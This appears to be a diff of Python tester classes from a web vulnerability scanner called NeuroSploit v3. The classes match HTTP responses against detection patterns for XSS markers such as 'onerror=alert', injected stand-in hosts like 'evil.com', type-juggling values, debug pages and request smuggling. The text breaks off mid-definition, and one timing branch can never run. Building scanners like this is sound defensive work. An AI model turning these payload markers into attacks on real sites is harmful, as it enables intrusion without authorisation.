"""Tester for Debug Mode/Page exposure"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "debug_mode"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for debug pages, stack traces with source paths"""
|
||||
# Werkzeug/Flask debugger
|
||||
werkzeug_patterns = [
|
||||
r"Werkzeug\s+Debugger",
|
||||
r"werkzeug\.debug",
|
||||
r"<div class=\"debugger\">",
|
||||
r"The debugger caught an exception",
|
||||
r"__debugger__",
|
||||
]
|
||||
for pattern in werkzeug_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.95, "Debug mode: Werkzeug interactive debugger exposed (RCE risk)"
|
||||
|
||||
# Laravel debug
|
||||
laravel_patterns = [
|
||||
r"Whoops!.*Laravel",
|
||||
r"Ignition\s",
|
||||
r"vendor/laravel",
|
||||
r"Laravel.*Exception",
|
||||
r"app/Http/Controllers",
|
||||
]
|
||||
for pattern in laravel_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, "Debug mode: Laravel debug page exposed"
|
||||
|
||||
# Django debug
|
||||
django_patterns = [
|
||||
r"You\'re seeing this error because you have <code>DEBUG = True</code>",
|
||||
r"Django Version:",
|
||||
r"Traceback.*django",
|
||||
r"INSTALLED_APPS",
|
||||
r"settings\.py",
|
||||
]
|
||||
for pattern in django_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, "Debug mode: Django debug page exposed"
|
||||
|
||||
# Generic stack traces with source paths
|
||||
stack_trace_patterns = [
|
||||
r"(?:File|at)\s+[\"']?(?:/[a-z]+/|C:\\)[^\s\"']+\.(?:py|php|rb|js|java|go)\b",
|
||||
r"Traceback \(most recent call last\)",
|
||||
r"Stack trace:.*(?:\.php|\.py|\.rb|\.java)",
|
||||
r"(?:Error|Exception)\s+in\s+(?:/[a-z]+/|C:\\)[^\s]+:\d+",
|
||||
]
|
||||
for pattern in stack_trace_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE | re.DOTALL):
|
||||
return True, 0.8, "Debug mode: Stack trace with source file paths exposed"
|
||||
|
||||
# ASP.NET detailed errors
|
||||
if re.search(r"Server Error in '/' Application", response_body):
|
||||
return True, 0.85, "Debug mode: ASP.NET detailed error page exposed"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ExposedAdminPanelTester(BaseTester):
|
||||
"""Tester for Publicly Accessible Admin Panel"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "exposed_admin_panel"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for admin login pages accessible publicly"""
|
||||
if response_status == 200:
|
||||
admin_panel_patterns = [
|
||||
(r"(?:admin|administrator)\s+(?:login|panel|dashboard|console)", "admin login page"),
|
||||
(r"<title>[^<]*(?:admin|dashboard|control\s*panel|cms)[^<]*</title>", "admin title"),
|
||||
(r"wp-login\.php", "WordPress login"),
|
||||
(r"wp-admin", "WordPress admin"),
|
||||
(r"/admin/login", "admin login endpoint"),
|
||||
(r"phpmyadmin", "phpMyAdmin"),
|
||||
(r"adminer\.php", "Adminer"),
|
||||
(r"cPanel", "cPanel"),
|
||||
(r"Webmin", "Webmin"),
|
||||
(r"Plesk", "Plesk"),
|
||||
(r"joomla.*administrator", "Joomla admin"),
|
||||
(r"drupal.*user/login", "Drupal admin login"),
|
||||
]
|
||||
|
||||
for pattern, panel_name in admin_panel_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.75, f"Exposed admin panel: {panel_name} accessible publicly"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ExposedApiDocsTester(BaseTester):
|
||||
"""Tester for Publicly Accessible API Documentation"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "exposed_api_docs"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for Swagger/OpenAPI documentation pages"""
|
||||
if response_status == 200:
|
||||
api_docs_patterns = [
|
||||
(r"swagger-ui", "Swagger UI"),
|
||||
(r'"swagger"\s*:\s*"[0-9.]+"', "Swagger spec"),
|
||||
(r'"openapi"\s*:\s*"[0-9.]+"', "OpenAPI spec"),
|
||||
(r"swagger-ui-bundle\.js", "Swagger UI bundle"),
|
||||
(r"<title>Swagger UI</title>", "Swagger UI page"),
|
||||
(r"redoc", "ReDoc API docs"),
|
||||
(r"api-docs", "API documentation"),
|
||||
(r"graphiql", "GraphiQL interface"),
|
||||
(r"GraphQL Playground", "GraphQL Playground"),
|
||||
(r'"paths"\s*:\s*\{', "OpenAPI paths object"),
|
||||
(r'"info"\s*:\s*\{.*"title"\s*:', "OpenAPI info object"),
|
||||
]
|
||||
|
||||
for pattern, doc_type in api_docs_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.8, f"Exposed API docs: {doc_type} publicly accessible"
|
||||
|
||||
# Check content type for JSON API specs
|
||||
content_type = response_headers.get("Content-Type", "")
|
||||
if "json" in content_type.lower():
|
||||
if re.search(r'"paths"\s*:\s*\{.*"(?:get|post|put|delete)"', response_body, re.DOTALL):
|
||||
return True, 0.85, "Exposed API docs: OpenAPI/Swagger JSON specification exposed"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class InsecureCookieFlagsTester(BaseTester):
|
||||
"""Tester for Missing Secure/HttpOnly/SameSite Cookie Flags"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "insecure_cookie_flags"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check Set-Cookie headers for missing security flags"""
|
||||
# Collect all Set-Cookie headers
|
||||
set_cookie_values = []
|
||||
for key, value in response_headers.items():
|
||||
if key.lower() == "set-cookie":
|
||||
if isinstance(value, list):
|
||||
set_cookie_values.extend(value)
|
||||
else:
|
||||
set_cookie_values.append(value)
|
||||
|
||||
if not set_cookie_values:
|
||||
return False, 0.0, None
|
||||
|
||||
issues = []
|
||||
for cookie in set_cookie_values:
|
||||
cookie_lower = cookie.lower()
|
||||
cookie_name = cookie.split("=")[0].strip()
|
||||
|
||||
# Session cookies are more critical
|
||||
is_session = any(
|
||||
s in cookie_name.lower()
|
||||
for s in ["session", "sess", "sid", "token", "auth", "jwt", "csrf"]
|
||||
)
|
||||
|
||||
missing_flags = []
|
||||
if "secure" not in cookie_lower:
|
||||
missing_flags.append("Secure")
|
||||
if "httponly" not in cookie_lower:
|
||||
missing_flags.append("HttpOnly")
|
||||
if "samesite" not in cookie_lower:
|
||||
missing_flags.append("SameSite")
|
||||
|
||||
if missing_flags:
|
||||
severity = "session cookie" if is_session else "cookie"
|
||||
issues.append(f"{cookie_name} ({severity}): missing {', '.join(missing_flags)}")
|
||||
|
||||
if issues:
|
||||
confidence = 0.8 if any("session cookie" in i for i in issues) else 0.6
|
||||
return True, confidence, f"Insecure cookie flags: {'; '.join(issues[:3])}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class HttpSmugglingTester(BaseTester):
|
||||
"""Tester for HTTP Request Smuggling (CL/TE discrepancy)"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "http_smuggling"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for CL/TE discrepancy indicators"""
|
||||
# Check for request smuggling indicators
|
||||
smuggling_indicators = [
|
||||
# Different response than expected
|
||||
(r"400 Bad Request.*(?:Content-Length|Transfer-Encoding)", "CL/TE parsing error"),
|
||||
(r"(?:invalid|malformed)\s+(?:chunk|transfer.encoding)", "chunked encoding error"),
|
||||
]
|
||||
for pattern, desc in smuggling_indicators:
|
||||
if re.search(pattern, response_body, re.IGNORECASE | re.DOTALL):
|
||||
return True, 0.7, f"HTTP smuggling indicator: {desc}"
|
||||
|
||||
# Check for dual Transfer-Encoding handling
|
||||
te_header = response_headers.get("Transfer-Encoding", "")
|
||||
cl_header = response_headers.get("Content-Length", "")
|
||||
|
||||
if te_header and cl_header:
|
||||
return True, 0.75, "HTTP smuggling: Both Transfer-Encoding and Content-Length in response"
|
||||
|
||||
# Check for timeout-based detection (context)
|
||||
if context.get("response_time_ms", 0) > 10000:
|
||||
if "transfer-encoding" in payload.lower() or "content-length" in payload.lower():
|
||||
return True, 0.6, "HTTP smuggling: Abnormal response delay with CL/TE payload"
|
||||
|
||||
# Check for response desync indicators
|
||||
if response_status == 0 or context.get("connection_reset"):
|
||||
return True, 0.65, "HTTP smuggling: Connection reset/timeout with smuggling payload"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class CachePoisoningTester(BaseTester):
|
||||
"""Tester for Web Cache Poisoning"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "cache_poisoning"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for cached response with injected unkeyed input"""
|
||||
if response_status == 200:
|
||||
# Check for cache headers indicating response was cached
|
||||
cache_indicators = {
|
||||
"X-Cache": response_headers.get("X-Cache", ""),
|
||||
"CF-Cache-Status": response_headers.get("CF-Cache-Status", ""),
|
||||
"Age": response_headers.get("Age", ""),
|
||||
"X-Varnish": response_headers.get("X-Varnish", ""),
|
||||
}
|
||||
|
||||
is_cached = False
|
||||
for header, value in cache_indicators.items():
|
||||
if value:
|
||||
if any(hit in value.upper() for hit in ["HIT", "STALE"]):
|
||||
is_cached = True
|
||||
break
|
||||
if header == "Age" and int(value or 0) > 0:
|
||||
is_cached = True
|
||||
break
|
||||
|
||||
# Check if our unkeyed input is reflected in the cached response
|
||||
if is_cached or response_headers.get("Cache-Control", ""):
|
||||
# Common unkeyed headers that might be reflected
|
||||
unkeyed_indicators = [
|
||||
r"X-Forwarded-Host", r"X-Forwarded-Scheme",
|
||||
r"X-Original-URL", r"X-Rewrite-URL",
|
||||
]
|
||||
|
||||
if payload in response_body:
|
||||
if is_cached:
|
||||
return True, 0.9, "Cache poisoning: Injected unkeyed input reflected in cached response"
|
||||
else:
|
||||
return True, 0.7, "Cache poisoning: Unkeyed input reflected - verify caching"
|
||||
|
||||
# Check for Vary header missing expected values
|
||||
vary = response_headers.get("Vary", "")
|
||||
cache_control = response_headers.get("Cache-Control", "")
|
||||
if "no-store" not in cache_control and "private" not in cache_control:
|
||||
if payload in response_body:
|
||||
return True, 0.6, "Cache poisoning potential: Input reflected in cacheable response"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
@@ -35,20 +35,15 @@ class XSSReflectedTester(BaseTester):
|
||||
|
||||
# Check if payload is reflected
|
||||
if payload in response_body:
|
||||
# Check if it's in a dangerous context
|
||||
dangerous_patterns = [
|
||||
rf'<script[^>]*>{re.escape(payload)}',
|
||||
rf'on\w+\s*=\s*["\']?{re.escape(payload)}',
|
||||
rf'javascript:\s*{re.escape(payload)}',
|
||||
rf'<[^>]+{re.escape(payload)}[^>]*>',
|
||||
]
|
||||
|
||||
for pattern in dangerous_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, f"XSS payload reflected in dangerous context: {pattern}"
|
||||
|
||||
# Payload reflected but possibly encoded
|
||||
return True, 0.7, "XSS payload reflected in response"
|
||||
# Use context-aware analysis to determine execution position
|
||||
from backend.core.xss_context_analyzer import analyze_xss_execution_context
|
||||
ctx = analyze_xss_execution_context(response_body, payload)
|
||||
if ctx["executable"]:
|
||||
return True, 0.95, f"XSS payload in auto-executing context: {ctx['detail']}"
|
||||
elif ctx["interactive"]:
|
||||
return True, 0.85, f"XSS payload in interactive context: {ctx['detail']}"
|
||||
# Reflected but not in executable position
|
||||
return True, 0.5, f"XSS payload reflected but {ctx['context']}: {ctx['detail']}"
|
||||
|
||||
# Check for partial reflection (script tags, etc.)
|
||||
for marker in self.markers:
|
||||
@@ -59,11 +54,21 @@ class XSSReflectedTester(BaseTester):
|
||||
|
||||
|
||||
class XSSStoredTester(BaseTester):
|
||||
"""Tester for Stored XSS vulnerabilities"""
|
||||
"""Tester for Stored XSS vulnerabilities.
|
||||
|
||||
Supports two-phase verification:
|
||||
Phase 1: analyze_response() - Check if submission succeeded (data stored)
|
||||
Phase 2: analyze_display_response() - Check if payload executes on display page
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "xss_stored"
|
||||
self.storage_indicators = [
|
||||
"success", "created", "saved", "posted", "submitted",
|
||||
"thank", "comment", "added", "published", "updated",
|
||||
"your comment", "your post", "your message",
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
@@ -73,12 +78,78 @@ class XSSStoredTester(BaseTester):
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for stored XSS - requires subsequent request verification"""
|
||||
# For stored XSS, we need to check if data was stored
|
||||
# This is a simplified check - full implementation would verify on retrieval
|
||||
if response_status in [200, 201, 302]:
|
||||
if "success" in response_body.lower() or "created" in response_body.lower():
|
||||
return True, 0.5, "Data possibly stored - verify retrieval for stored XSS"
|
||||
"""Phase 1: Check if payload was likely stored.
|
||||
|
||||
Returns confidence 0.3-0.5 for storage-only confirmation.
|
||||
Full confirmation requires Phase 2 (analyze_display_response).
|
||||
"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Redirect after POST is a common form submission pattern
|
||||
if response_status in [301, 302, 303]:
|
||||
return True, 0.4, "Redirect after submission - payload likely stored"
|
||||
|
||||
if response_status in [200, 201]:
|
||||
# Check for storage success indicators
|
||||
for indicator in self.storage_indicators:
|
||||
if indicator in body_lower:
|
||||
return True, 0.4, f"Storage indicator found: '{indicator}'"
|
||||
|
||||
# Check if payload is reflected in the same response (immediate display)
|
||||
if payload in response_body:
|
||||
dangerous = [
|
||||
"<script", "onerror=", "onload=", "onclick=", "onfocus=",
|
||||
"onmouseover=", "<svg", "<img", "<iframe", "javascript:"
|
||||
]
|
||||
payload_lower = payload.lower()
|
||||
for ctx in dangerous:
|
||||
if ctx in payload_lower:
|
||||
return True, 0.8, f"Stored XSS: payload reflected in dangerous context ({ctx})"
|
||||
return True, 0.6, "Payload reflected in submission response"
|
||||
|
||||
# POST returning 200 often means submission accepted
|
||||
if response_status == 200 and context.get("method") == "POST":
|
||||
return True, 0.3, "POST returned 200 - submission possibly accepted"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
def analyze_display_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Phase 2: Verify payload executes on the display page.
|
||||
|
||||
Called after navigating to the page where stored content is rendered.
|
||||
"""
|
||||
if response_status >= 400:
|
||||
return False, 0.0, None
|
||||
|
||||
# Check if payload exists unescaped in display page
|
||||
if payload in response_body:
|
||||
# Use context-aware analysis to determine execution position
|
||||
from backend.core.xss_context_analyzer import analyze_xss_execution_context
|
||||
ctx = analyze_xss_execution_context(response_body, payload)
|
||||
if ctx["executable"]:
|
||||
return True, 0.95, f"Stored XSS confirmed: {ctx['detail']}"
|
||||
elif ctx["interactive"]:
|
||||
return True, 0.90, f"Stored XSS (interaction required): {ctx['detail']}"
|
||||
# Payload present but not executable
|
||||
return True, 0.5, f"Stored payload on display page but {ctx['context']}: {ctx['detail']}"
|
||||
|
||||
# Check for core execution markers even if full payload is modified
|
||||
core_markers = [
|
||||
"alert(1)", "alert(document.domain)", "onerror=alert",
|
||||
"onload=alert", "onfocus=alert", "ontoggle=alert",
|
||||
]
|
||||
body_lower = response_body.lower()
|
||||
for marker in core_markers:
|
||||
if marker in payload.lower() and marker in body_lower:
|
||||
return True, 0.85, f"Stored XSS: execution marker '{marker}' found on display page"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,457 @@
|
||||
"""
|
||||
NeuroSploit v3 - Logic and Protocol Vulnerability Testers
|
||||
|
||||
Testers for race conditions, business logic, rate limiting, parameter pollution,
|
||||
type juggling, timing attacks, host header injection, HTTP smuggling, cache poisoning.
|
||||
"""
|
||||
import re
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class RaceConditionTester(BaseTester):
|
||||
"""Tester for Race Condition vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "race_condition"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for duplicate operation success indicators"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Multiple success responses from concurrent requests
|
||||
if context.get("concurrent_successes", 0) > 1:
|
||||
return True, 0.85, f"Race condition: {context['concurrent_successes']} concurrent requests succeeded"
|
||||
|
||||
# Double-spend / duplicate operation indicators
|
||||
duplicate_indicators = [
|
||||
"already processed", "duplicate", "already exists",
|
||||
"already applied", "already redeemed",
|
||||
]
|
||||
# If we got a success despite expected duplicate check
|
||||
if response_status in [200, 201]:
|
||||
success_words = ["success", "created", "processed", "applied", "completed", "confirmed"]
|
||||
if any(w in body_lower for w in success_words):
|
||||
if context.get("request_count", 0) > 1:
|
||||
return True, 0.7, "Race condition: operation succeeded multiple times"
|
||||
|
||||
# Check for resource count discrepancy
|
||||
if "balance" in body_lower or "quantity" in body_lower or "count" in body_lower:
|
||||
numbers = re.findall(r'"(?:balance|quantity|count|amount)"\s*:\s*(-?\d+\.?\d*)', response_body)
|
||||
if numbers and context.get("expected_value") is not None:
|
||||
try:
|
||||
actual = float(numbers[0])
|
||||
expected = float(context["expected_value"])
|
||||
if actual != expected:
|
||||
return True, 0.75, f"Race condition: value mismatch (expected {expected}, got {actual})"
|
||||
except (ValueError, IndexError):
|
||||
pass
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class BusinessLogicTester(BaseTester):
|
||||
"""Tester for Business Logic vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "business_logic"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for business logic bypass indicators"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Negative value acceptance
|
||||
if re.search(r"-\d+", payload):
|
||||
if response_status == 200:
|
||||
if any(w in body_lower for w in ["success", "accepted", "processed", "approved"]):
|
||||
return True, 0.8, "Business logic: negative value accepted"
|
||||
# Check for negative pricing
|
||||
if re.search(r'"(?:total|price|amount)"\s*:\s*-\d+', response_body):
|
||||
return True, 0.9, "Business logic: negative price/amount in response"
|
||||
|
||||
# Zero-value bypass
|
||||
if payload.strip() in ["0", "0.00", "0.0"]:
|
||||
if response_status == 200 and "success" in body_lower:
|
||||
return True, 0.75, "Business logic: zero value accepted for transaction"
|
||||
|
||||
# Workflow step skip
|
||||
if context.get("skipped_step"):
|
||||
if response_status == 200:
|
||||
return True, 0.7, f"Business logic: step '{context['skipped_step']}' was skippable"
|
||||
|
||||
# Discount/coupon abuse
|
||||
if "coupon" in payload.lower() or "discount" in payload.lower():
|
||||
if re.search(r'"discount"\s*:\s*(?:100|[1-9]\d{2,})', response_body):
|
||||
return True, 0.8, "Business logic: excessive discount applied"
|
||||
|
||||
# Role/privilege escalation via parameter
|
||||
if any(w in payload.lower() for w in ["admin", "role=admin", "is_admin=true", "privilege"]):
|
||||
if response_status == 200 and "admin" in body_lower:
|
||||
return True, 0.6, "Business logic: privilege escalation parameter accepted"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class RateLimitBypassTester(BaseTester):
|
||||
"""Tester for Rate Limit Bypass vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "rate_limit_bypass"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for continued success after many requests (bypass)"""
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
|
||||
# After many requests, still getting 200
|
||||
request_count = context.get("request_count", 0)
|
||||
if request_count > 50 and response_status == 200:
|
||||
# Check rate limit headers
|
||||
remaining = headers_lower.get("x-ratelimit-remaining",
|
||||
headers_lower.get("x-rate-limit-remaining",
|
||||
headers_lower.get("ratelimit-remaining")))
|
||||
if remaining is not None:
|
||||
try:
|
||||
if int(remaining) > 0:
|
||||
return True, 0.6, f"Rate limit not enforced after {request_count} requests (remaining: {remaining})"
|
||||
except ValueError:
|
||||
pass
|
||||
else:
|
||||
# No rate limit headers at all
|
||||
return True, 0.7, f"No rate limiting detected after {request_count} requests"
|
||||
|
||||
# Rate limit bypass via header manipulation
|
||||
bypass_headers = ["x-forwarded-for", "x-real-ip", "x-originating-ip", "x-client-ip"]
|
||||
if any(h in payload.lower() for h in bypass_headers):
|
||||
if response_status == 200 and context.get("was_rate_limited"):
|
||||
return True, 0.85, "Rate limit bypassed via IP spoofing header"
|
||||
|
||||
# Check if 429 was expected but got 200
|
||||
if context.get("expected_429") and response_status == 200:
|
||||
return True, 0.8, "Expected 429 (rate limited) but received 200"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ParameterPollutionTester(BaseTester):
|
||||
"""Tester for HTTP Parameter Pollution vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "parameter_pollution"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for different behavior with duplicate parameters"""
|
||||
# Compare response with baseline (single param)
|
||||
if "baseline_body" in context and "baseline_status" in context:
|
||||
baseline_len = len(context["baseline_body"])
|
||||
current_len = len(response_body)
|
||||
diff = abs(current_len - baseline_len)
|
||||
|
||||
# Significant response difference
|
||||
if diff > 200:
|
||||
return True, 0.7, f"Parameter pollution: response differs by {diff} bytes from baseline"
|
||||
|
||||
# Status code difference
|
||||
if response_status != context["baseline_status"]:
|
||||
return True, 0.75, f"Parameter pollution: status changed from {context['baseline_status']} to {response_status}"
|
||||
|
||||
# Check if attacker-controlled value was used
|
||||
if "neurosploit" in payload and "neurosploit" in response_body:
|
||||
if context.get("original_value") and context["original_value"] not in response_body:
|
||||
return True, 0.8, "Parameter pollution: attacker value used instead of original"
|
||||
|
||||
# WAF bypass via duplicate params
|
||||
if context.get("waf_blocked_original") and response_status == 200:
|
||||
return True, 0.8, "Parameter pollution: WAF bypass - blocked payload succeeded with duplicate params"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class TypeJugglingTester(BaseTester):
|
||||
"""Tester for Type Juggling / Type Coercion vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "type_juggling"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for auth bypass with type coercion"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Type juggling payloads
|
||||
juggling_values = ["0", "true", "false", "null", "[]", "{}", "0e123", "0e999"]
|
||||
|
||||
if payload.strip() in juggling_values or payload.strip().startswith("0e"):
|
||||
# Auth bypass
|
||||
if response_status == 200:
|
||||
auth_success = [
|
||||
"authenticated", "logged in", "welcome", "dashboard",
|
||||
"token", "session", "success",
|
||||
]
|
||||
for indicator in auth_success:
|
||||
if indicator in body_lower:
|
||||
return True, 0.8, f"Type juggling: auth bypass with '{payload.strip()}' - '{indicator}' in response"
|
||||
|
||||
# JWT/token accepted
|
||||
if "jwt" in body_lower or "bearer" in body_lower:
|
||||
if response_status == 200:
|
||||
return True, 0.7, f"Type juggling: token accepted with value '{payload.strip()}'"
|
||||
|
||||
# Magic hash comparison bypass (0e strings)
|
||||
if re.match(r"0e\d+", payload.strip()):
|
||||
if response_status == 200 and any(w in body_lower for w in ["match", "equal", "valid", "correct"]):
|
||||
return True, 0.85, f"Type juggling: magic hash bypass with '{payload.strip()}'"
|
||||
|
||||
# Array vs string comparison
|
||||
if payload.strip() in ["[]", "Array"]:
|
||||
if response_status == 200 and "success" in body_lower:
|
||||
return True, 0.7, "Type juggling: array comparison bypass"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class TimingAttackTester(BaseTester):
|
||||
"""Tester for Timing Attack vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "timing_attack"
|
||||
|
||||
def check_timeout_vulnerability(self, vuln_type: str) -> bool:
|
||||
"""Timing attacks are detected via response time differences"""
|
||||
return True
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check response time differences for timing side channels"""
|
||||
# Primary detection is via response timing (handled by engine)
|
||||
response_time = context.get("response_time_ms", 0)
|
||||
baseline_time = context.get("baseline_time_ms", 0)
|
||||
|
||||
if response_time > 0 and baseline_time > 0:
|
||||
diff = response_time - baseline_time
|
||||
# Significant timing difference (> 100ms)
|
||||
if diff > 100:
|
||||
return True, 0.7, f"Timing attack: {diff}ms difference (baseline: {baseline_time}ms, actual: {response_time}ms)"
|
||||
# Very significant (> 500ms)
|
||||
if diff > 500:
|
||||
return True, 0.9, f"Timing attack: {diff}ms difference strongly indicates character-by-character comparison"
|
||||
|
||||
# Check for timing via multiple measurements
|
||||
if "timing_samples" in context:
|
||||
samples = context["timing_samples"]
|
||||
if len(samples) >= 2:
|
||||
max_diff = max(samples) - min(samples)
|
||||
if max_diff > 200:
|
||||
return True, 0.65, f"Timing attack: {max_diff}ms variance across samples"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class HostHeaderInjectionTester(BaseTester):
|
||||
"""Tester for Host Header Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "host_header_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for Host value reflected in response links/URLs"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Injected host appearing in response
|
||||
evil_hosts = ["evil.com", "attacker.com", "neurosploit.test", "canary.host"]
|
||||
for host in evil_hosts:
|
||||
if host in payload.lower() and host in body_lower:
|
||||
# High confidence if in URL context
|
||||
url_contexts = [
|
||||
rf'https?://{re.escape(host)}',
|
||||
rf'href\s*=\s*["\'][^"\']*{re.escape(host)}',
|
||||
rf'action\s*=\s*["\'][^"\']*{re.escape(host)}',
|
||||
rf'redirect.*{re.escape(host)}',
|
||||
]
|
||||
for pattern in url_contexts:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, f"Host header injection: '{host}' reflected in URL context"
|
||||
|
||||
return True, 0.7, f"Host header injection: '{host}' reflected in response body"
|
||||
|
||||
# X-Forwarded-Host injection
|
||||
if "x-forwarded-host" in payload.lower():
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
location = headers_lower.get("location", "")
|
||||
if any(h in location.lower() for h in evil_hosts):
|
||||
return True, 0.9, "Host header injection: X-Forwarded-Host reflected in redirect"
|
||||
|
||||
# Password reset link poisoning
|
||||
if context.get("is_password_reset") and response_status == 200:
|
||||
for host in evil_hosts:
|
||||
if host in body_lower:
|
||||
return True, 0.95, f"Host header injection in password reset: link points to '{host}'"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class HttpSmugglingTester(BaseTester):
|
||||
"""Tester for HTTP Request Smuggling vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "http_smuggling"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
